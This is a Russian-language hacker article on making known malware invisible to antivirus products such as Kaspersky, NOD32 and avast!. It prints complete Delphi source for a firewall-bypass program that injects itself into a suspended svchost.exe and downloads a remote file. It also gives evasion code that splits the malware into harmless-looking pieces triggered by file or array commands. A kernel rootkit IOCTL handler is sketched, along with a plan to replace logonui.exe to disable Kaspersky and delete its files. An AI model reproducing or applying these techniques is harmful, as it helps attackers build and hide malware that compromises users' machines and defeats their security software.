Вирусописание – очень актуальная тема на сегодняшний день. Рынок антивирусного ПО просто кишит разнообразными продуктами так или иначе защищающим ПК от малвари. В этой статье я расскажу об обмане известных антивирусов – Касперского 7.0, avast!, NOD32, также расскажу о том, как используя исходник давно уже известной малвари написать вирус, не палящийся антивирусами, добавив всего каких-то 5 – 6 строчек кода в него.

Итак, нам надо готовый исходник сделать невидимым для антивируса. Можно для этого, конечно, переписать и извратить весь код вируса таким образом чтобы тот уже не распознавался антивирусным ПО, но это надо писать, думать головой, стучать по клаве, к тому же на это требуется много времени, так что этот способ не подходит. Можно просто с нуля писать вирус, но ведь это тоже работает не всегда, у продвинутых антивирусов имеется эмулятор, огромная база, эвристика, при этом также нужно придумывать особый алгоритм, которого еще нет в базах антивирусов и это займет еще больше времени.

Для начала возьмем готовый исходник вредоносной проги. Так как мне очень подуше сайт wwwwasm.ru, то готовый исходник я взял именно оттуда, это исходник Ms-Rem’a для обхода Agnitum Outpost Firewall Pro. В первичном виде он успешно палится всеми тремя антивирусами.

Вот его код:

program FireFuck;

uses
Windows, WinSock;

{$IMAGEBASE $13140000}

{ Определение положения подстроки в строке }
Function MyPos(Substr, Str: PChar): dword; stdcall;
asm
mov eax, Substr
mov edx, str
test eax, eax
je @noWork
test edx, edx
je @stringEmpty
push ebx
push esi
push edi
mov esi, eax
mov edi, edx
push eax
push edx
call lstrlen
mov ecx, eax
pop eax
push edi
push eax
push eax
call lstrlen
mov edx, eax
pop eax
dec edx
js @fail
mov al, [esi]
inc esi
sub ecx, edx
jle @fail

@loop:
repne scasb
jne @fail
mov ebx, ecx
push esi
push edi
mov ecx, edx
repe cmpsb
pop edi
pop esi
je @found
mov ecx, ebx
jmp @loop

@fail:
pop edx
xor eax, eax
jmp @exit

@stringEmpty:
xor eax, eax
jmp @noWork

@found:
pop edx
mov eax, edi
sub eax, edx

@exit:
pop edi
pop esi
pop ebx

@noWork:
end;

{ Копирование строк }
Function MyCopy(S:PChar; Index, Count: Dword): PChar; stdcall;
asm
mov eax, Count
inc eax
push eax
push LPTR
call LocalAlloc
mov edi, eax
mov ecx, Count
mov esi, S
add esi, Index
dec esi
rep movsb
end;

{ Копирование участка памяти }
procedure MyCopyMemory(Destination: Pointer; Source: Pointer; Length: DWORD);
asm
push ecx
push esi
push edi
mov esi, Source
mov edi, Destination
mov ecx, Length
rep movsb
pop edi
pop esi
pop ecx
end;

Function DownloadFile(Address: PChar; var ReturnSize: dword): pointer;
var
Buffer: pointer;
BufferLength: dword;
BufferUsed: dword;
Bytes: integer;
Header: PChar;
Site: PChar;
URL: PChar;
FSocket: integer;
SockAddrIn: TSockAddrIn;
HostEnt: PHostEnt;
Str: PChar;
WSAData: TWSAData;
hHeap: dword;
begin
Result := nil;
hHeap := GetProcessHeap();
WSAStartup(257, WSAData);
Site := MyCopy(Address, 1, MyPos('/', Address) - 1);
URL := MyCopy(Address, MyPos('/', Address), lstrlen(Address) - MyPos('/', Address) + 1);
Buffer := HeapAlloc(hHeap, 0, 1024);
try
BufferLength := 1024;
BufferUsed := 0;
FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
SockAddrIn.sin_family := AF_INET;
SockAddrIn.sin_port := htons(80);
SockAddrIn.sin_addr.s_addr := inet_addr(Site);
if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
begin
HostEnt := gethostbyname(Site);
if HostEnt = nil then Exit;
SockAddrIn.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^);
end;
if Connect(FSocket, SockAddrIn, SizeOf(SockAddrIn)) = -1 then Exit;
Str := HeapAlloc(hHeap, 0, 1024);
lstrcpy(Str, 'GET ');
lstrcat(Str, URL);
lstrcat(Str, ' HTTP/1.0'#10#13'Host: ');
lstrcat(Str, Site);
lstrcat(Str, #13#10'Connection: close'#13#10#13#10);
send(FSocket, Str^, lstrlen(Str), 0);
HeapFree(hHeap, 0, Str);
repeat
if BufferLength - BufferUsed < 1024 then
begin
Inc(BufferLength, 1024);
Buffer := HeapReAlloc(hHeap, 0, Buffer, BufferLength);
end;
Bytes := recv(FSocket, pointer(dword(Buffer) + BufferUsed)^, 1024, 0);
if Bytes > 0 then Inc(BufferUsed, Bytes);
until (Bytes = 0) or (Bytes = SOCKET_ERROR);
Header := MyCopy(Buffer, 1, MyPos(#13#10#13#10, Buffer) + 3);
ReturnSize := BufferUsed - lstrlen(header);
Result := VirtualAlloc(nil, ReturnSize, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if Result = nil then Exit;
MyCopyMemory(Result, pointer(dword(Buffer) + lstrlen(header)), ReturnSize);
finally
HeapFree(hHeap, 0, Buffer);
end;
end;

{ процедура выполняющаяся в контексте доверенного приложения }
Procedure Download(); stdcall;
const
URL : PChar = '192.168.0.58/1.mp3';
var
Buff: pointer;
Size: dword;
Bytes: dword;
dFile: dword;
begin
LoadLibrary('wsock32.dll');
Buff := DownloadFile(URL, Size);
dFile := CreateFile('c:\1.mp3', GENERIC_WRITE, 0, nil, CREATE_NEW, 0, 0);
WriteFile(dFile, Buff^, Size, Bytes, nil);
CloseHandle(dFile);
ExitProcess(0);
end;

var
St: TStartupInfo;
Pr: TProcessInformation;
InjectSize: dword;
Code: pointer;
Injected: pointer;
BytesWritten: dword;
Context: _CONTEXT;
t:textfile;
cmd:string;
begin
ZeroMemory(@St, SizeOf(TStartupInfo));
St.cb := SizeOf(TStartupInfo);
St.wShowWindow := SW_SHOW;
// запускаем процесс, которому разрешено лезть на 80 порт
CreateProcess(nil, 'svchost.exe', nil, nil, false,
CREATE_SUSPENDED, nil, nil, St, Pr);
Code := pointer(GetModuleHandle(nil));
InjectSize := PImageOptionalHeader(pointer(integer(Code) +
PImageDosHeader(Code)._lfanew +
SizeOf(dword) +
SizeOf(TImageFileHeader))).SizeOfImage;
// выделяем память в процессе
Injected := VirtualAllocEx(Pr.hProcess, Code, InjectSize, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// внедряем код
WriteProcessMemory(Pr.hProcess, Injected, Code, InjectSize, BytesWritten);
// изменяем контекст нити
Context.ContextFlags := CONTEXT_FULL;
GetThreadContext(Pr.hThread, Context);
Context.Eip := dword(@Download);
SetThreadContext(Pr.hThread, Context);
// запускаем процесс
ResumeThread(Pr.hThread);
end;

Теперь попробуем закомментировать строчку в основной части программы, где вызывается API CreateProcess - так вирус работать не будет вовсе, все обвалится еще в самом начале, но и антивирусами он после этого палиться не будет.

Мы подошли к основной части статьи – сейчас мы перепишем исходник так, чтобы он сохранил работоспособность и при этом перестал палиться антивирусами. Поступим следующим образом: вместо того, чтобы просто вызвать CreateProcess сделаем нечто вроде интерпретатора команд. Он будет читать строку из файла и сравнивать ее с каким-нибудь символом/строкой и при совпадении вызывать CreateProcess. Самый простейший способ – это модифицировать код вот так: вместо CreateProcess(nil, 'svchost.exe', nil, nil, false, CREATE_SUSPENDED, nil, nil, St, Pr); напишем эти 6 строчек кода:

AssignFile(t,'1.txt');
reset(t);
readln(t,cmd);
CloseFile(t);
if cmd = '1' then CreateProcess(nil, 'svchost.exe', nil, nil, false,
CREATE_SUSPENDED, nil, nil, St, Pr);

Естественно, переменные cmd, t нужно объявить. Способ простейший, но все таки он отлично работает, при этом чем больше важных участков вируса исполняются таким образом, тем эффективнее получается механизм. Но все таки в идеале этот код – отдельная процедура, которая опять же вызывается подобным образом – только при совпадении строки, прочтенной из файла с эталонной. Далее описан еще один пример переделки этого кода - сначала создаем отдельную процедуру:

Procedure MyVirusStart(str:string);
Var cmd:string;t:textfile;
Begin
AssignFile(t,'1.txt');
reset(t);
readln(t,cmd);
CloseFile(t);
if cmd = '1' then CreateProcess(nil, 'svchost.exe', nil, nil, false,
CREATE_SUSPENDED, nil, nil, St, Pr);
End;

А код модифицируем, вместо

CreateProcess(nil, 'svchost.exe', nil, nil, false,
CREATE_SUSPENDED, nil, nil, St, Pr);

Напишем вот так:

AssignFile(t,'1.txt');
reset(t);
readln(t,cmd);
CloseFile(t);
if cmd = '2' then MyVirusStart;

И все! Наш вирус невидим! Главное – найти основное место в коде вируса, то без чего он станет абсолютно безопасным, да и вообще не будет работать.

Этот алгоритм довольно простой, его можно еще более усовершенствовать, сделать так, чтобы команды генерировались вирусом и им же исполнялись и т.д.

Все это работает благодаря тому, что вирус разбивается на абсолютно безвредные части и то, что он будет делать напрямую зависит от команд в файле, без него вирус превращается в безвредную программку. Учитывая еще и то, что современным антивирусам видимо влом проверять весь файл вируса целиком и полностью - все работает «как часы», а если еще и изменять файл во время работы вируса (некий полиморфизм получается), то все антивирусы будут нервно курить в сторонке )). Чем на большее количество частей разделен вирус (число используемых команд) - тем эффективнее метод. Хотя (как показала практика) вполне хватает всего лишь 2 раза вставить подобный код в исходник и получается приличный результат – при проверке нескольких переделанных описанным выше способом исходников сервисом VirusTotal выяснилось, что если всего в 2-х местах исходника вставить предлагаемый код, то ни Dr.Web, ни NOD32, ни каспер больше его не палят.

Продолжим. Допустим нам нужно внедрить DLL с вредоносным кодом в какой-либо конкретный процесс (например, для того, чтобы поставить хук). Можно, конечно, использовать метод, описанный выше, но не факт, что удастся просто так осуществить чтение инструкций из файла, ведь в зависимости от того, в какой именно процесс мы внедряемся, в его таблице импорта может и не быть функций для работы с файлами (проверил на опыте – работает не всегда). Можно, правда, внедрить в процесс код загрузки нужных DLL, но ведь это не всегда требуется, а нам нужно создать абсолютно универсальный код.

Можно сделать так: завести, например, массив, состоящий, скажем из десяти элементов – строк или чисел (кому как удобно, лично мне по душе числа), каждый элемент это команда. Далее пишем процедуру, которая нужную команду для вируса пишет в массив в ячейку со случайным номером. Далее все делается аналогично первому способу: выбирается главное действие вируса, перед ним вызываем созданную процедуру, помещающую команду в массив и перебираем массив пока не встретим нужную команду. Итак, вот такой получается код:

// генерируем команду и кладем ее в рандомую ячейку массива а
procedure writecmd;
var i,c:integer;
begin
for c:=0 to 10 do a[c]:=0;
i:=random(900);
i:=i+1;
a[random(11)]:=i; // а – массив
end;

А в коде вируса вставляем следующие строчки

for j:=0 to 10 do
if a[j]<>0 then CreateProcess(nil, 'svchost.exe', nil,
nil, false, CREATE_SUSPENDED, nil, nil, St, Pr);
// здесь вызываем главное действие вируса
// в данном исходнике это CreateProcess

Как видно, это очень простой код, но он эффективно защитит твой вирус от обнаружения, базы идут лесом – вирус разделяется на абсолютно безвредные сами по себе части, и антивирусу заранее неизвестен ход его выполнения. Этот метод можно многократно усовершенствовать и он подходит практически для любых исходников (я думаю такой простой код переписать на С++ труда не составит никому :)).

Что же касается ядра Windows, то защита руткитов от палева антивирусов, вооружившихся только что обновленными базами,  происходит аналогичным образом, только «указания» вирусу можно давать при помощи IOCTL команд, а можно для уверенности передавать IOCTL командами также адреса перехватываемых функций (в случае с SDT можно передавать код функции в таблице).

Итак, что нам нужно сделать:

   1. Основную операцию записи в память перенесем в отдельную функцию;
   2. Создадим обработчик IOCTL команд;
   3. Свяжем IOCTL команду с процедурой записи в память(модификации кода).

Для начала создадим процедуру, модифицирующую код ядра:

// Здесь формируется код IOCTL в драйвере
#define TESTDRV_TYPE 40000
#define IOCTL_IOPM_FUNCTION \
CTL_CODE(TESTDRV_TYPE, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)

NTSTATUS WriteKernelMemory()
{
// Здесь устанавливаем перехват на какую-нибудь функцию
...
}
NTSTATUS OnDeviceControlHandle(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP pIrp
)
{
int i;
I = 9;
I = i+177;
NTSTATUS ntStatus = STATUS_SUCCESS;
PIO_STACK_LOCATION irpSp;

// Длина входного буфера
ULONG inBufLength;
// Длина выходного буфера
ULONG outBufLength;
// Указатель на входной и выходной буфер
PULONG ioBuffer;

// DbgPrint("OnDeviceControlHandle");

// Получаем указатель на драйверный стек
irpSp= IoGetCurrentIrpStackLocation(pIrp);

// Входной и выходной буфера и их длины
inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;
ioBuffer = (PULONG) pIrp->AssociatedIrp.SystemBuffer;
// собственно обработка команд
switch ( irpSp->Parameters.DeviceIoControl.IoControlCode )
{
// обработка кода функции IOCTL_IOPM_FUNCTION
case IOCTL_IOPM_FUNCTION:
{
If(i!=0)
WriteKernelMemory;
break;
}
}

// Завершение рабочей процедуры
pIrp->IoStatus.Information = inBufLength;
/* Размер выходного буфера */
pIrp->IoStatus.Status = ntStatus;
IoCompleteRequest( pIrp, IO_NO_INCREMENT );
return ntStatus;
}

Естественно, для обработки IOCTL команд нужно обязательно создать объект устройства.

Подведем итоги : мы защитили вредоносный код от палева и вырубили Касперский проактив, теперь, пользуясь приведенными примерами вполне можно сотворить из готового исходника вполне работоспособный и не палящийся антивирусами вредоносный код.

Ну ладно, с антивирусными базами разобрались, а как быть с проактивной защитой антивируса Касперского (у него она хотя бы нормально работает, относительно…)? Ведь он будет бузить даже при попытке элементарно поставить хук. При интенсивном исследовании возможностей проактива, предлагаемого Каспером, таковой способ был найден.

Касперский, по непонятным мне причинам, не бузит, когда производится замена виндовских исполняемых файлов своими версиями и это очень хорошо )). Но у каспера есть проверка целостности системных файлов. К счастью, каспер проверяет только малую часть файлов оси (у него для этого и список имеется), но пользователь может добавлять в черный список и свои файлы, поэтому такие файлы, как, например winlogon.exe или lsass.exe заменить вряд ли удастся. Решение проблемы – замена файла logonui.exe, лежащего в дире %SystemRoot%\system32 ну и естественно в %SystemRoot%\system32\dllcache. Файл этот отвечает за экран входа в систему и по моему зря товарищи из Майкрософта сделали так, что этой exe-шке позволено и со всеми файлами работать, и в реестр писать, и сервисы грузить и много чего еще. Следовательно, грамотно пропатчив данный файлик можно очень хорошо напортачить, а самое главное, что заменив этот файл можно поудалять половину всех файлов каспера, что несомненно гуд. Эта возможность распространяется и на другие антивирусы. Итак, все сводится к тому, чтобы написать прогу, очень напоминающую по внешнему виду экран входа в систему, заменить ей штатный logonui.exe и дело в шляпе!

Кстати, я крайне не советую для этой цели использовать API CopyFile и подобные, во избежание палева, лучше написать процедуру копирования файлов самостоятельно (это очень просто делается) и защитить ее описанным ранее алгоритмом.